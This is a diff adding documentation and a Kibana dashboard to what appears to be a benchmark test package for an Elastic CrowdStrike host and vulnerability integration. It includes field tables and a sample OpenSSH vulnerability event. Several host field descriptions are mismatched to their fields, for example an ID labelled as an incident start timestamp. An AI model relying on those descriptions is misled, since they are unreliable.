+| crowdstrike.host.device_policies.global_config.applied | The description of the product type of the host. | boolean |
+| crowdstrike.host.device_policies.global_config.applied_date | The product type of the host. | date |
+| crowdstrike.host.device_policies.global_config.assigned_date | The site name associated with the host. | date |
+| crowdstrike.host.device_policies.global_config.policy.id | The status of the host. | keyword |
+| crowdstrike.host.device_policies.global_config.policy.type | The manufacturer of the system on the host. | keyword |
+| crowdstrike.host.device_policies.global_config.settings_hash | The product name of the system on the host. | keyword |
+| crowdstrike.host.device_policies.prevention.applied | The objectives associated with the incident. | boolean |
+| crowdstrike.host.device_policies.prevention.applied_date | The state of the incident, whether open or closed. | date |
+| crowdstrike.host.device_policies.prevention.assigned_date | The status of the incident. | date |
+| crowdstrike.host.device_policies.prevention.policy.id | The tactics associated with the incident. | keyword |
+| crowdstrike.host.device_policies.prevention.policy.type | The techniques associated with the incident. | keyword |
+| crowdstrike.host.device_policies.prevention.rule_groups | The type of incident. | keyword |
+| crowdstrike.host.device_policies.prevention.settings_hash | The users associated with the incident. | keyword |
+| crowdstrike.host.device_policies.remote_response.applied |  | boolean |
+| crowdstrike.host.device_policies.remote_response.applied_date |  | date |
+| crowdstrike.host.device_policies.remote_response.assigned_date |  | date |
+| crowdstrike.host.device_policies.remote_response.policy.id |  | keyword |
+| crowdstrike.host.device_policies.remote_response.policy.type |  | keyword |
+| crowdstrike.host.device_policies.remote_response.settings_hash |  | keyword |
+| crowdstrike.host.device_policies.sensor_update.applied |  | boolean |
+| crowdstrike.host.device_policies.sensor_update.applied_date |  | date |
+| crowdstrike.host.device_policies.sensor_update.assigned_date |  | date |
+| crowdstrike.host.device_policies.sensor_update.policy.id |  | keyword |
+| crowdstrike.host.device_policies.sensor_update.policy.type |  | keyword |
+| crowdstrike.host.device_policies.sensor_update.settings_hash |  | keyword |
+| crowdstrike.host.device_policies.sensor_update.uninstall_protection |  | keyword |
+| crowdstrike.host.external_ip | The external IP address of the host. | ip |
+| crowdstrike.host.first_seen |  | date |
+| crowdstrike.host.group_hash |  | keyword |
+| crowdstrike.host.groups |  | keyword |
+| crowdstrike.host.hostname | The hostname of the host. | keyword |
+| crowdstrike.host.id | Timestamp indicating when the incident started. | keyword |
+| crowdstrike.host.kernel_version |  | keyword |
+| crowdstrike.host.last_seen |  | date |
+| crowdstrike.host.local_ip |  | ip |
+| crowdstrike.host.mac_address | The MAC address of the host. | keyword |
+| crowdstrike.host.machine_domain |  | keyword |
+| crowdstrike.host.major_version |  | keyword |
+| crowdstrike.host.meta.version |  | keyword |
+| crowdstrike.host.meta.version_string |  | keyword |
+| crowdstrike.host.minor_version |  | keyword |
+| crowdstrike.host.modified_timestamp | Timestamp indicating when the incident was created. | date |
+| crowdstrike.host.os.build |  | keyword |
+| crowdstrike.host.os.version | The version of the operating system on the host. | keyword |
+| crowdstrike.host.ou | The organizational unit of the host as seen by the sensor. | keyword |
+| crowdstrike.host.platform.id |  | keyword |
+| crowdstrike.host.platform.name | The identifier associated with the customer. | keyword |
+| crowdstrike.host.policies.applied |  | boolean |
+| crowdstrike.host.policies.applied_date |  | date |
+| crowdstrike.host.policies.assigned_date |  | date |
+| crowdstrike.host.policies.policy.id |  | keyword |
+| crowdstrike.host.policies.policy.type |  | keyword |
+| crowdstrike.host.policies.rule_groups |  | keyword |
+| crowdstrike.host.policies.settings_hash |  | keyword |
+| crowdstrike.host.product_type_desc |  | keyword |
+| crowdstrike.host.provision_status |  | keyword |
+| crowdstrike.host.reduced_functionality_mode |  | keyword |
+| crowdstrike.host.serial_number |  | keyword |
+| crowdstrike.host.site_name |  | keyword |
+| crowdstrike.host.status |  | keyword |
+| crowdstrike.host.system.manufacturer |  | keyword |
+| crowdstrike.host.system.product_name |  | keyword |
+| crowdstrike.host.tags |  | keyword |
+| data_stream.dataset | Data stream dataset. | constant_keyword |
+| data_stream.namespace | Data stream namespace. | constant_keyword |
+| data_stream.type | Data stream type. | constant_keyword |
+| event.dataset | Event dataset. | constant_keyword |
+| event.module | Event module. | constant_keyword |
+| input.type | Type of filebeat input. | keyword |
+| log.offset | Log offset. | long |
+| tags | List of keywords used to tag each event. | keyword |
+
+
+### Vulnerability
+
+This is the `vulnerability` dataset.
+
+#### Example
+
+An example event for `vulnerability` looks as following:
+
+```json
+{
+    "@timestamp": "2025-02-25T13:33:23.000Z",
+    "agent": {
+        "ephemeral_id": "6eee1701-fd23-48b2-9593-d4e3e98abf5a",
+        "id": "9a4ac145-5b4f-4734-92fb-2c1dd1254ed4",
+        "name": "elastic-agent-98024",
+        "type": "filebeat",
+        "version": "8.18.0"
+    },
+    "crowdstrike": {
+        "vulnerability": {
+            "aid": "897580adb4ab4540a357536faa41de18",
+            "app": {
+                "product_name_normalized": "openssh",
+                "product_name_version": "openssh 1:9.6p1-3ubuntu13.4",
+                "vendor_normalized": "Ubuntu"
+            },
+            "apps": [
+                {
+                    "evaluation_logic": {
+                        "aid": "897580adb4ab4540a357536faa41de18",
+                        "cid": "2cd98db1a47b4c98b913c94d43bfab70",
+                        "complex_check_operator": "AND",
+                        "created_timestamp": "2025-02-20T10:15:30.000Z",
+                        "id": "138bd6a67791327ab367838079b4d786",
+                        "logic": [
+                            {
+                                "comparison_check": "equals",
+                                "comparisons": {
+                                    "state_comparisons": [
+                                        {
+                                            "entity_comparisons": [
+                                                {
+                                                    "actual_value_field": "version",
+                                                    "operation": "equals",
+                                                    "value_datatype": "string"
+                                                }
+                                            ],
+                                            "entity_operator": "AND"
+                                        }
+                                    ],
+                                    "state_operator": "OR"
+                                },
+                                "determined_by_comparison": true,
+                                "existence_check": "Yes",
+                                "id": "logic-12345",
+                                "negate": false,
+                                "status": "active",
+                                "title": "Evaluation Logic for OpenSSH",
+                                "type": "comparison"
+                            }
+                        ],
+                        "updated_timestamp": "2025-02-25T13:33:23.000Z"
+                    },
+                    "patch_publication_date": "2025-02-19T00:00:00.000Z",
+                    "product_name_normalized": "openssh",
+                    "product_name_version": "openssh 1:9.6p1-3ubuntu13.4",
+                    "remediation": {
+                        "ids": [
+                            "4688299d204b35a192828bdaf556ecf8"
+                        ]
+                    },
+                    "remediation_info": {
+                        "minimum_id": "df1af7df1d33382398fb0dc268109a4d",
+                        "patch_publication_date": "2025-02-19T00:00:00.000Z",
+                        "recommended_id": "4688299d207b35a192828bdaf556ecf8"
+                    },
+                    "sub_status": "open",
+                    "vendor_normalized": "Ubuntu"
+                }
+            ],
+            "cid": "2cd98db1a47b4c98b913c94d43bfab70",
+            "closed_timestamp": "2025-02-26T10:00:00.000Z",
+            "confidence": "confirmed",
+            "created_timestamp": "2025-02-20T10:10:24.000Z",
+            "cve": {
+                "base_score": 6.8,
+                "cisa_info": {
+                    "due_date": "2025-03-01T00:00:00.000Z",
+                    "is_cisa_kev": false
+                },
+                "cwes": [
+                    "CWE-123"
+                ],
+                "description": "A vulnerability was found in OpenSSH...",
+                "exploit_status": 30,
+                "exploitability_score": 1.6,
+                "exprt_rating": "MEDIUM",
+                "id": "CVE-2025-26465",
+                "impact_score": 5.2,
+                "published_date": "2025-02-18T19:15:00.000Z",
+                "references": [
+                    "https://ubuntu.com/security/CVE-2025-26465"
+                ],
+                "remediation_level": "O",
+                "severity": "MEDIUM",
+                "spotlight_published_date": "2025-02-19T05:32:00.000Z",
+                "types": [
+                    "Vulnerability"
+                ],
+                "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N"
+            },
+            "data_providers": [
+                {
+                    "ports": [
+                        22,
+                        80
+                    ],
+                    "provider": "Falcon sensor",
+                    "rating": "high",
+                    "scan_id": "scan-123456",
+                    "scan_time": "2025-02-20T12:00:00Z",
+                    "scanner_id": "scanner-xyz"
+                }
+            ],
+            "host_info": {
+                "asset_criticality": "Critical",
+                "groups": [
+                    {
+                        "id": "group-123",
+                        "name": "Production"
+                    }
+                ],
+                "has_run_container": false,
+                "host_last_seen_timestamp": "2025-02-18T00:00:00.000Z",
+                "hostname": "ub24-50-10-154",
+                "internet_exposure": "No",
+                "local_ip": "1.128.0.0",
+                "machine_domain": "example.local",
+                "managed_by": "Falcon sensor",
+                "os_version": "Ubuntu 24.04",
+                "platform": "Linux",
+                "product_type_desc": "Server",
+                "service_provider": "AWS",
+                "service_provider_account_id": "123456789012",
+                "system_manufacturer": "Dell",
+                "tags": [
+                    "production",
+                    "security"
+                ]
+            },
+            "id": "897580adb4ab4540a457536faa42de18_eda961728a22320da280bd9d181a798b",
+            "remediation": {
+                "entities": [
+                    {
+                        "action": "Update ubuntu openssh to version 1:9.6p1-3ubuntu13.8 or newer",
+                        "id": "4688299d207b35a192828bdaf556ecf8",
+                        "link": "https://ubuntu.com/security/CVE-2025-26465",
+                        "recommendation_type": "recommended",
+                        "reference": "1:9.6p1-3ubuntu13.8",
+                        "title": "Update ubuntu openssh",
+                        "vendor_url": "https://www.openssh.com"
+                    }
+                ],
+                "ids": [
+                    "4688299d207b35a192828bdaf556ecf8",
+                    "df1af7df1d33382398fb0dc268109a4d"
+                ]
+            },
+            "status": "open",
+            "suppression_info": {
+                "is_suppressed": false,
+                "reason": "Not applicable"
+            },
+            "updated_timestamp": "2025-02-25T13:33:23.000Z",
+            "vulnerability_id": "CVE-2025-26465"
+        }
+    },
+    "data_stream": {
+        "dataset": "crowdstrike.vulnerability",
+        "namespace": "35952",
+        "type": "logs"
+    },
+    "ecs": {
+        "version": "8.17.0"
+    },
+    "elastic_agent": {
+        "id": "9a4ac145-5b4f-4734-92fb-2c1dd1254ed4",
+        "snapshot": true,
+        "version": "8.18.0"
+    },
+    "event": {
+        "agent_id_status": "verified",
+        "category": [
+            "vulnerability"
+        ],
+        "dataset": "crowdstrike.vulnerability",
+        "id": "897580adb4ab4540a457536faa42de18_eda961728a22320da280bd9d181a798b",
+        "ingested": "2025-08-22T08:33:35Z",
+        "kind": "event",
+        "original": "{\"aid\":\"897580adb4ab4540a357536faa41de18\",\"app\":{\"product_name_normalized\":\"openssh\",\"product_name_version\":\"openssh 1:9.6p1-3ubuntu13.4\",\"vendor_normalized\":\"Ubuntu\"},\"apps\":[{\"evaluation_logic\":{\"aid\":\"897580adb4ab4540a357536faa41de18\",\"cid\":\"2cd98db1a47b4c98b913c94d43bfab70\",\"complex_check_operator\":\"AND\",\"created_timestamp\":\"2025-02-20T10:15:30Z\",\"id\":\"138bd6a67791327ab367838079b4d786\",\"logic\":[{\"comparison_check\":\"equals\",\"comparisons\":{\"state_comparisons\":[{\"entity_comparisons\":[{\"actual_value_field\":\"version\",\"operation\":\"equals\",\"value_datatype\":\"string\"}],\"entity_operator\":\"AND\"}],\"state_operator\":\"OR\"},\"determined_by_comparison\":true,\"existence_check\":\"Yes\",\"id\":\"logic-12345\",\"negate\":false,\"status\":\"active\",\"title\":\"Evaluation Logic for OpenSSH\",\"type\":\"comparison\"}],\"updated_timestamp\":\"2025-02-25T13:33:23Z\"},\"patch_publication_date\":\"2025-02-19T00:00:00Z\",\"product_name_normalized\":\"openssh\",\"product_name_version\":\"openssh 1:9.6p1-3ubuntu13.4\",\"remediation\":{\"ids\":[\"4688299d204b35a192828bdaf556ecf8\"]},\"remediation_info\":{\"minimum_id\":\"df1af7df1d33382398fb0dc268109a4d\",\"patch_publication_date\":\"2025-02-19T00:00:00Z\",\"recommended_id\":\"4688299d207b35a192828bdaf556ecf8\"},\"sub_status\":\"open\",\"vendor_normalized\":\"Ubuntu\"}],\"cid\":\"2cd98db1a47b4c98b913c94d43bfab70\",\"closed_timestamp\":\"2025-02-26T10:00:00Z\",\"confidence\":\"confirmed\",\"created_timestamp\":\"2025-02-20T10:10:24Z\",\"cve\":{\"base_score\":6.8,\"cisa_info\":{\"due_date\":\"2025-03-01\",\"is_cisa_kev\":false},\"cwes\":[\"CWE-123\"],\"description\":\"A vulnerability was found in OpenSSH...\",\"exploit_status\":30,\"exploitability_score\":1.6,\"exprt_rating\":\"MEDIUM\",\"id\":\"CVE-2025-26465\",\"impact_score\":5.2,\"published_date\":\"2025-02-18T19:15:00Z\",\"references\":[\"https://ubuntu.com/security/CVE-2025-26465\"],\"remediation_level\":\"O\",\"severity\":\"MEDIUM\",\"spotlight_published_date\":\"2025-02-19T05:32:00Z\",\"types\":[\"Vulnerability\"],\"vector\":\"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N\"},\"data_providers\":[{\"ports\":[22,80],\"provider\":\"Falcon sensor\",\"rating\":\"high\",\"scan_id\":\"scan-123456\",\"scan_time\":\"2025-02-20T12:00:00Z\",\"scanner_id\":\"scanner-xyz\"}],\"host_info\":{\"asset_criticality\":\"Critical\",\"groups\":[{\"id\":\"group-123\",\"name\":\"Production\"}],\"has_run_container\":false,\"host_last_seen_timestamp\":\"2025-02-18T00:00:00Z\",\"hostname\":\"ub24-50-10-154\",\"internet_exposure\":\"No\",\"local_ip\":\"1.128.0.0\",\"machine_domain\":\"example.local\",\"managed_by\":\"Falcon sensor\",\"os_version\":\"Ubuntu 24.04\",\"platform\":\"Linux\",\"product_type_desc\":\"Server\",\"service_provider\":\"AWS\",\"service_provider_account_id\":\"123456789012\",\"system_manufacturer\":\"Dell\",\"tags\":[\"production\",\"security\"]},\"id\":\"897580adb4ab4540a457536faa42de18_eda961728a22320da280bd9d181a798b\",\"remediation\":{\"entities\":[{\"action\":\"Update ubuntu openssh to version 1:9.6p1-3ubuntu13.8 or newer\",\"id\":\"4688299d207b35a192828bdaf556ecf8\",\"link\":\"https://ubuntu.com/security/CVE-2025-26465\",\"recommendation_type\":\"recommended\",\"reference\":\"1:9.6p1-3ubuntu13.8\",\"title\":\"Update ubuntu openssh\",\"vendor_url\":\"https://www.openssh.com\"}],\"ids\":[\"4688299d207b35a192828bdaf556ecf8\",\"df1af7df1d33382398fb0dc268109a4d\"]},\"status\":\"open\",\"suppression_info\":{\"is_suppressed\":false,\"reason\":\"Not applicable\"},\"updated_timestamp\":\"2025-02-25T13:33:23Z\",\"vulnerability_id\":\"CVE-2025-26465\"}",
+        "type": [
+            "info"
+        ]
+    },
+    "host": {
+        "id": "897580adb4ab4540a357536faa41de18",
+        "ip": [
+            "1.128.0.0"
+        ],
+        "name": "ub24-50-10-154",
+        "os": {
+            "name": "Ubuntu 24.04",
+            "platform": "Linux",
+            "type": "linux"
+        }
+    },
+    "input": {
+        "type": "cel"
+    },
+    "message": "A vulnerability was found in OpenSSH...",
+    "observer": {
+        "product": "Falcon sensor",
+        "type": "sensor",
+        "vendor": "Crowdstrike"
+    },
+    "package": {
+        "name": "openssh"
+    },
+    "related": {
+        "hosts": [
+            "ub24-50-10-154"
+        ],
+        "ip": [
+            "1.128.0.0"
+        ]
+    },
+    "tags": [
+        "preserve_original_event",
+        "preserve_duplicate_custom_fields",
+        "forwarded",
+        "crowdstrike-vulnerability"
+    ],
+    "vulnerability": {
+        "description": "A vulnerability was found in OpenSSH...",
+        "enumeration": "CVE",
+        "id": "CVE-2025-26465",
+        "reference": [
+            "https://ubuntu.com/security/CVE-2025-26465"
+        ],
+        "report_id": [
+            "scan-123456"
+        ],
+        "scanner": {
+            "vendor": "Crowdstrike"
+        },
+        "score": {
+            "base": 6.8
+        },
+        "severity": "Medium"
+    }
+}
+```
+
+**Exported fields**
+
+| Field | Description | Type |
+|---|---|---|
+| @timestamp | Event timestamp. | date |
+| crowdstrike.vulnerability.aid |  | keyword |
+| crowdstrike.vulnerability.app.product_name_normalized |  | keyword |
+| crowdstrike.vulnerability.app.product_name_version |  | keyword |
+| crowdstrike.vulnerability.app.vendor_normalized |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.aid |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.cid |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.complex_check_operator |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.created_timestamp |  | date |
+| crowdstrike.vulnerability.apps.evaluation_logic.data_provider |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.host_info.entities_matched.asset_id |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.id |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparison_check |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_comparisons.actual_value_field |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_comparisons.expected_value |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_comparisons.operation |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_comparisons.value_datatype |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_comparisons.entity_operator |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.comparisons.state_operator |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.description |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.determined_by_comparison |  | boolean |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.existence_check |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.id |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.items |  | nested |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.arch |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.comparison_result |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.epoch |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.evr |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.filepath |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.item_type |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.name |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.release |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.subexpression |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.items.version |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.negate |  | boolean |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.status |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.title |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.logic.type |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.checks |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.data |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.found |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.id |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.match_required |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.negate |  | boolean |
+| crowdstrike.vulnerability.apps.evaluation_logic.simplified_logic.title |  | keyword |
+| crowdstrike.vulnerability.apps.evaluation_logic.updated_timestamp |  | date |
+| crowdstrike.vulnerability.apps.patch_publication_date |  | date |
+| crowdstrike.vulnerability.apps.product_name_normalized |  | keyword |
+| crowdstrike.vulnerability.apps.product_name_version |  | keyword |
+| crowdstrike.vulnerability.apps.remediation.ids |  | keyword |
+| crowdstrike.vulnerability.apps.remediation_info.minimum_id |  | keyword |
+| crowdstrike.vulnerability.apps.remediation_info.patch_publication_date |  | date |
+| crowdstrike.vulnerability.apps.remediation_info.recommended_id |  | keyword |
+| crowdstrike.vulnerability.apps.sub_status |  | keyword |
+| crowdstrike.vulnerability.apps.vendor_normalized |  | keyword |
+| crowdstrike.vulnerability.cid |  | keyword |
+| crowdstrike.vulnerability.closed_timestamp |  | date |
+| crowdstrike.vulnerability.confidence |  | keyword |
+| crowdstrike.vulnerability.created_timestamp |  | date |
+| crowdstrike.vulnerability.cve.actors |  | keyword |
+| crowdstrike.vulnerability.cve.base_score |  | double |
+| crowdstrike.vulnerability.cve.cisa_info.due_date |  | date |
+| crowdstrike.vulnerability.cve.cisa_info.is_cisa_kev |  | boolean |
+| crowdstrike.vulnerability.cve.cwes |  | keyword |
+| crowdstrike.vulnerability.cve.description |  | keyword |
+| crowdstrike.vulnerability.cve.exploit_status |  | long |
+| crowdstrike.vulnerability.cve.exploitability_score |  | double |
+| crowdstrike.vulnerability.cve.exprt_rating |  | keyword |
+| crowdstrike.vulnerability.cve.id |  | keyword |
+| crowdstrike.vulnerability.cve.impact_score |  | double |
+| crowdstrike.vulnerability.cve.name |  | keyword |
+| crowdstrike.vulnerability.cve.published_date |  | date |
+| crowdstrike.vulnerability.cve.references |  | keyword |
+| crowdstrike.vulnerability.cve.remediation_level |  | keyword |
+| crowdstrike.vulnerability.cve.severity |  | keyword |
+| crowdstrike.vulnerability.cve.spotlight_published_date |  | date |
+| crowdstrike.vulnerability.cve.types |  | keyword |
+| crowdstrike.vulnerability.cve.vector |  | keyword |
+| crowdstrike.vulnerability.cve.vendor_advisory |  | keyword |
+| crowdstrike.vulnerability.data_providers.ports |  | long |
+| crowdstrike.vulnerability.data_providers.provider |  | keyword |
+| crowdstrike.vulnerability.data_providers.rating |  | keyword |
+| crowdstrike.vulnerability.data_providers.scan_id |  | keyword |
+| crowdstrike.vulnerability.data_providers.scan_time |  | keyword |
+| crowdstrike.vulnerability.data_providers.scanner_id |  | keyword |
+| crowdstrike.vulnerability.host_info.asset_criticality |  | keyword |
+| crowdstrike.vulnerability.host_info.asset_roles |  | keyword |
+| crowdstrike.vulnerability.host_info.confidence_label |  | keyword |
+| crowdstrike.vulnerability.host_info.groups.id |  | keyword |
+| crowdstrike.vulnerability.host_info.groups.name |  | keyword |
+| crowdstrike.vulnerability.host_info.has_run_container |  | boolean |
+| crowdstrike.vulnerability.host_info.host_last_seen_timestamp |  | date |
+| crowdstrike.vulnerability.host_info.hostname |  | keyword |
+| crowdstrike.vulnerability.host_info.instance_id |  | keyword |
+| crowdstrike.vulnerability.host_info.internet_exposure |  | keyword |
+| crowdstrike.vulnerability.host_info.local_ip |  | ip |
+| crowdstrike.vulnerability.host_info.machine_domain |  | keyword |
+| crowdstrike.vulnerability.host_info.managed_by |  | keyword |
+| crowdstrike.vulnerability.host_info.os_build |  | keyword |
+| crowdstrike.vulnerability.host_info.os_version |  | keyword |
+| crowdstrike.vulnerability.host_info.ou |  | keyword |
+| crowdstrike.vulnerability.host_info.platform |  | keyword |
+| crowdstrike.vulnerability.host_info.product_type_desc |  | keyword |
+| crowdstrike.vulnerability.host_info.service_provider |  | keyword |
+| crowdstrike.vulnerability.host_info.service_provider_account_id |  | keyword |
+| crowdstrike.vulnerability.host_info.site_name |  | keyword |
+| crowdstrike.vulnerability.host_info.subsidiaries |  | keyword |
+| crowdstrike.vulnerability.host_info.system_manufacturer |  | keyword |
+| crowdstrike.vulnerability.host_info.tags |  | keyword |
+| crowdstrike.vulnerability.host_info.third_party_asset_ids |  | keyword |
+| crowdstrike.vulnerability.id |  | keyword |
+| crowdstrike.vulnerability.network_scan.network_scan_info.scan_id |  | keyword |
+| crowdstrike.vulnerability.network_scan.network_scan_info.scan_time |  | keyword |
+| crowdstrike.vulnerability.remediation.entities.action |  | keyword |
+| crowdstrike.vulnerability.remediation.entities.id |  | keyword |
+| crowdstrike.vulnerability.remediation.entities.link |  | keyword |
+| crowdstrike.vulnerability.remediation.entities.patch_publication_date |  | date |
+| crowdstrike.vulnerability.remediation.entities.recommendation_type |  | keyword |
+| crowdstrike.vulnerability.remediation.entities.reference |  | keyword |
+| crowdstrike.vulnerability.remediation.entities.title |  | keyword |
+| crowdstrike.vulnerability.remediation.entities.vendor_url |  | keyword |
+| crowdstrike.vulnerability.remediation.ids |  | keyword |
+| crowdstrike.vulnerability.services.port |  | long |
+| crowdstrike.vulnerability.services.protocol |  | keyword |
+| crowdstrike.vulnerability.services.transport |  | keyword |
+| crowdstrike.vulnerability.status |  | keyword |
+| crowdstrike.vulnerability.suppression_info.is_suppressed |  | boolean |
+| crowdstrike.vulnerability.suppression_info.reason |  | keyword |
+| crowdstrike.vulnerability.updated_timestamp |  | date |
+| crowdstrike.vulnerability.vulnerability_id |  | keyword |
+| data_stream.dataset | Data stream dataset. | constant_keyword |
+| data_stream.namespace | Data stream namespace. | constant_keyword |
+| data_stream.type | Data stream type. | constant_keyword |
+| event.dataset | Event dataset. | constant_keyword |
+| event.module | Event module. | constant_keyword |
+| input.type | Type of filebeat input. | keyword |
+| log.offset | Log offset. | long |
+
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c.json b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c.json
new file mode 100644
index 0000000000..0e73c6db93
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/kibana/dashboard/crowdstrike-2921b7f0-99b5-11ee-bf4d-afbc95e0486c.json
@@ -0,0 +1,747 @@
+{
+    "attributes": {
+        "controlGroupInput": {
+            "chainingSystem": "HIERARCHICAL",
+            "controlStyle": "oneLine",
+            "ignoreParentSettingsJSON": {
+                "ignoreFilters": false,
+                "ignoreQuery": false,
+                "ignoreTimerange": false,
+                "ignoreValidations": false
+            },
+            "panelsJSON": {},
+            "showApplySelections": false
+        },
+        "description": "Overview of the CrowdStrike Host Logs.",
+        "kibanaSavedObjectMeta": {
+            "searchSourceJSON": {
+                "filter": [],
+                "query": {
+                    "language": "kuery",
+                    "query": ""
+                }
+            }
+        },
+        "optionsJSON": {
+            "hidePanelTitles": false,
+            "syncColors": false,
+            "syncCursor": true,
+            "syncTooltips": false,
+            "useMargins": true
+        },
+        "panelsJSON": [
+            {
+                "embeddableConfig": {
+                    "enhancements": {
+                        "dynamicActions": {
+                            "events": []
+                        }
+                    },
+                    "hidePanelTitles": false,
+                    "savedVis": {
+                        "data": {
+                            "aggs": [],
+                            "searchSource": {
+                                "filter": [],
+                                "query": {
+                                    "language": "kuery",
+                                    "query": ""
+                                }
+                            }
+                        },
+                        "description": "",
+                        "id": "",
+                        "params": {
+                            "fontSize": 12,
+                            "markdown": "## **Crowdstrike**\n\n### Navigation\n\n[Overview](/app/dashboards#/view/crowdstrike-e64e8fe0-8210-11ee-bae0-937af575b750) \n\n[FDR](/app/dashboards#/view/crowdstrike-a4972bc0-fb53-11eb-abed-07307b3f2b0f)  \n\n[Falcon](/app/dashboards#/view/crowdstrike-ad80a080-821b-11ee-bae0-937af575b750) \n\n[Alert](/app/dashboards#/view/crowdstrike-d8070b00-99b3-11ee-bf4d-afbc95e0486c)\n\n**Host**\n\n[Vulnerability](/app/dashboards#/view/crowdstrike-63da2573-4e68-4e7d-a06b-6858edb60fd5)\n\n### Overview\n\nThis dashboard shows statistics about the different hosts collected from the Crowdstrike Host/Device API.\n",
+                            "openLinksInNewTab": false
+                        },
+                        "title": "",
+                        "type": "markdown",
+                        "uiState": {}
+                    }
+                },
+                "gridData": {
+                    "h": 17,
+                    "i": "2676352c-5dfb-46c3-9c78-243d73fd2176",
+                    "w": 14,
+                    "x": 0,
+                    "y": 0
+                },
+                "panelIndex": "2676352c-5dfb-46c3-9c78-243d73fd2176",
+                "title": "Table of Contents",
+                "type": "visualization"
+            },
+            {
+                "embeddableConfig": {
+                    "attributes": {
+                        "description": "",
+                        "references": [
+                            {
+                                "id": "logs-*",
+                                "name": "indexpattern-datasource-layer-200a15f3-d229-4812-ab0c-0241c9ca974e",
+                                "type": "index-pattern"
+                            },
+                            {
+                                "id": "logs-*",
+                                "name": "af92b18a-b19c-4eea-88d7-7eef6ca7cea7",
+                                "type": "index-pattern"
+                            }
+                        ],
+                        "state": {
+                            "adHocDataViews": {},
+                            "datasourceStates": {
+                                "formBased": {
+                                    "layers": {
+                                        "200a15f3-d229-4812-ab0c-0241c9ca974e": {
+                                            "columnOrder": [
+                                                "b974dbbc-5ef2-4a53-bdb1-c8e089e39c8a",
+                                                "a73f0321-68b2-4319-9d06-3eb2eb117191"
+                                            ],
+                                            "columns": {
+                                                "a73f0321-68b2-4319-9d06-3eb2eb117191": {
+                                                    "customLabel": true,
+                                                    "dataType": "number",
+                                                    "isBucketed": false,
+                                                    "label": "Count",
+                                                    "operationType": "count",
+                                                    "params": {
+                                                        "emptyAsNull": false
+                                                    },
+                                                    "scale": "ratio",
+                                                    "sourceField": "___records___"
+                                                },
+                                                "b974dbbc-5ef2-4a53-bdb1-c8e089e39c8a": {
+                                                    "customLabel": true,
+                                                    "dataType": "string",
+                                                    "isBucketed": true,
+                                                    "label": "Host OS Platform",
+                                                    "operationType": "terms",
+                                                    "params": {
+                                                        "exclude": [],
+                                                        "excludeIsRegex": false,
+                                                        "include": [],
+                                                        "includeIsRegex": false,
+                                                        "missingBucket": false,
+                                                        "orderBy": {
+                                                            "columnId": "a73f0321-68b2-4319-9d06-3eb2eb117191",
+                                                            "type": "column"
+                                                        },
+                                                        "orderDirection": "desc",
+                                                        "otherBucket": true,
+                                                        "parentFormat": {
+                                                            "id": "terms"
+                                                        },
+                                                        "size": 5
+                                                    },
+                                                    "scale": "ordinal",
+                                                    "sourceField": "host.os.platform"
+                                                }
+                                            },
+                                            "ignoreGlobalFilters": false,
+                                            "incompleteColumns": {},
+                                            "sampling": 1
+                                        }
+                                    }
+                                },
+                                "indexpattern": {
+                                    "layers": {}
+                                },
+                                "textBased": {
+                                    "layers": {}
+                                }
+                            },
+                            "filters": [
+                                {
+                                    "$state": {
+                                        "store": "appState"
+                                    },
+                                    "meta": {
+                                        "alias": null,
+                                        "disabled": false,
+                                        "field": "data_stream.dataset",
